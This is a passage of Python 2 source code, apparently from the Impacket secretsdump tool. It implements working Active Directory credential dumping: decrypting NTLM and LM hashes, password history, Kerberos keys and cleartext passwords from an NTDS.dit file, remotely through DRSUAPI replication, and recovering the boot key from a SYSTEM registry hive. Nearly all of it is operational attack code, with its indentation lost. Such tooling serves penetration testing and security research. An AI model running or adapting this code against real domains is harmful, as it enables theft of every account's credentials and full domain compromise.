LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
objectSid = rid
elif attId == LOOKUP_TABLE['pwdLastSet']:
if attr['AttrVal']['valCount'] > 0:
try:
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
except:
LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
pwdLastSet = 'N/A'
elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
if attr['AttrVal']['valCount'] > 0:
if (unpack('<L', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
userAccountStatus = 'Disabled'
else:
userAccountStatus = 'Enabled'
else:
userAccountStatus = 'N/A'
if self.__history:
if attId == LOOKUP_TABLE['lmPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
elif attId == LOOKUP_TABLE['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
if self.__printUserStatus is True:
answer = "%s (status=%s)" % (answer, userAccountStatus)
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if outputFile is not None:
outputFile.flush()
LOG.debug('Leaving NTDSHashes.__decryptHash')
def dump(self):
hashesOutputFile = None
keysOutputFile = None
clearTextOutputFile = None
resumeFile = None
if self.__useVSSMethod is True:
if self.__NTDS is None:
# No NTDS.dit file provided and were asked to use VSS
return
else:
if self.__NTDS is None:
# DRSUAPI method, checking whether target is a DC
try:
if self.__remoteOps is not None:
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except:
if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
# RemoteOperations failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
pass
else:
raise
else:
raise Exception('No remote Operations available')
except Exception, e:
LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
# Target's not a DC
return
try:
# Let's check if we need to save results in a file
if self.__outputFileName is not None:
LOG.debug('Saving output to %s' % self.__outputFileName)
# We have to export. Are we resuming a session?
if self.__savedSessionFile is not None:
mode = 'a+'
else:
mode = 'w+'
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
if self.__justNTLM is False:
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
LOG.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
LOG.error(str(e))
pass
except:
LOG.error("Error while processing row!")
LOG.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
LOG.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
LOG.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
LOG.error(str(e))
pass
except:
LOG.error("Error while processing row!")
LOG.error(str(e))
pass
else:
LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
# Do we have to resume from a previously saved session?
if self.__savedSessionFile is not None:
# Yes
try:
resumeFile = open(self.__savedSessionFile, 'rwb+')
except Exception, e:
raise Exception('Cannot open resume session file name %s' % str(e))
resumeSid = resumeFile.read().strip('\n')
LOG.info('Resuming from SID %s, be patient' % resumeSid)
# The resume session file is the same as the savedSessionFile
tmpName = self.__savedSessionFile
resumeFile = open(tmpName, 'wb+')
else:
resumeSid = None
# We do not create a resume file when asking for a single user
if self.__justUser is None:
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
LOG.debug('Session resume file will be %s' % tmpName)
# Creating the resume session file
try:
resumeFile = open(tmpName, 'wb+')
self.__resumeSessionFile = tmpName
except Exception, e:
raise Exception('Cannot create resume session file %s' % str(e))
if self.__justUser is not None:
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=self.__justUser)
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
return
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
#import traceback
#traceback.print_exc()
LOG.error("Error while processing user!")
LOG.error(str(e))
else:
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
if resumeSid is not None:
# Means we're looking for a SID before start processing back again
if resumeSid == userSid.formatCanonical():
# Match!, next round we will back processing
LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
resumeSid = None
else:
LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
continue
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
break
userRecord = self.__remoteOps.DRSGetNCChanges(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
# userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
#import traceback
#traceback.print_exc()
LOG.error("Error while processing user!")
LOG.error(str(e))
# Saving the session state
resumeFile.seek(0,0)
resumeFile.truncate(0)
resumeFile.write(userSid.formatCanonical())
resumeFile.flush()
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Everything went well and we covered all the users
# Let's remove the resume file is we had created it
if self.__justUser is None:
resumeFile.close()
resumeFile = None
os.remove(tmpName)
self.__resumeSessionFile = None
LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
LOG.info('Kerberos keys from %s ' % self.__NTDS)
else:
LOG.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
if self.__useVSSMethod is True:
LOG.info('ClearText password from %s ' % self.__NTDS)
else:
LOG.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
finally:
# Resources cleanup
if not hashesOutputFile is None:
hashesOutputFile.close()
if not keysOutputFile is None:
keysOutputFile.close()
if not clearTextOutputFile is None:
clearTextOutputFile.close()
if not resumeFile is None:
resumeFile.close()
@classmethod
def __writeOutput(cls, fd, data):
try:
fd.write(data)
except Exception, e:
LOG.error("Error writing entry, skipping (%s)" % str(e))
pass
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()
class LocalOperations:
def __init__(self, systemHive):
self.__systemHive = systemHive
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = ''
tmpKey = ''
winreg = winregistry.Registry(self.__systemHive, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD', 'Skew1', 'GBG', 'Data']:
LOG.debug('Retrieving class info for %s' % key)
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + digit
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
tmpKey = unhexlify(tmpKey)
for i in xrange(len(tmpKey)):
bootKey += tmpKey[transforms[i]]
LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey))
return bootKey
def checkNoLMHashPolicy(self):
LOG.debug('Checking NoLMHash Policy')
winreg = winregistry.Registry(self.__systemHive, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
# noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
LOG.debug('LMHashes are being stored')
return False
LOG.debug('LMHashes are NOT being stored')
return True
def _print_helper(*args, **kwargs):
print args[-1]
